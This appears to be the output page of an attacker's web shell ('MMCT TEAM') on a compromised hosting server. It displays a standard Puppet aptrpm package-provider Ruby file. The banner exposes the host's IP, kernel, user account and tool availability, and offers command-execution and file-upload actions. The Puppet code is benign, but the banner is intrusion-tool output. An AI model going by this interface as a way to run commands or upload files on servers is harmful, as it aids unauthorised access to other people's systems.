MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.216.116.62
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/ruby/vendor_ruby/puppet/provider/package/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/ruby/vendor_ruby/puppet/provider/package/aptrpm.rb
Puppet::Type.type(:package).provide :aptrpm, :parent => :rpm, :source => :rpm do
  # Provide sorting functionality
  include Puppet::Util::Package

  desc "Package management via `apt-get` ported to `rpm`."

  has_feature :versionable

  commands :aptget => "apt-get"
  commands :aptcache => "apt-cache"
  commands :rpm => "rpm"

  if command('rpm')
    confine :true => begin
      rpm('-ql', 'rpm')
      rescue Puppet::ExecutionFailure
        false
      else
        true
      end
  end

  # Install a package using 'apt-get'.  This function needs to support
  # installing a specific version.
  def install
    should = @resource.should(:ensure)

    str = @resource[:name]
    case should
    when true, false, Symbol
      # pass
    else
      # Add the package version
      str += "=#{should}"
    end
    cmd = %w{-q -y}

    cmd << 'install' << str

    aptget(*cmd)
  end

  # What's the latest package version available?
  def latest
    output = aptcache :showpkg,  @resource[:name]

    if output =~ /Versions:\s*\n((\n|.)+)^$/
      versions = $1
      available_versions = versions.split(/\n/).collect { |version|
        if version =~ /^([^\(]+)\(/
          $1
        else
          self.warning "Could not match version '#{version}'"
          nil
        end
      }.reject { |vers| vers.nil? }.sort { |a,b|
        versioncmp(a,b)
      }

      if available_versions.length == 0
        self.debug "No latest version"
        print output if Puppet[:debug]
      end

      # Get the latest and greatest version number
      return available_versions.pop
    else
      self.err "Could not match string"
    end
  end

  def update
    self.install
  end

  def uninstall
    aptget "-y", "-q", 'remove', @resource[:name]
  end

  def purge
    aptget '-y', '-q', 'remove', '--purge', @resource[:name]
  end
end

MMCT - 2023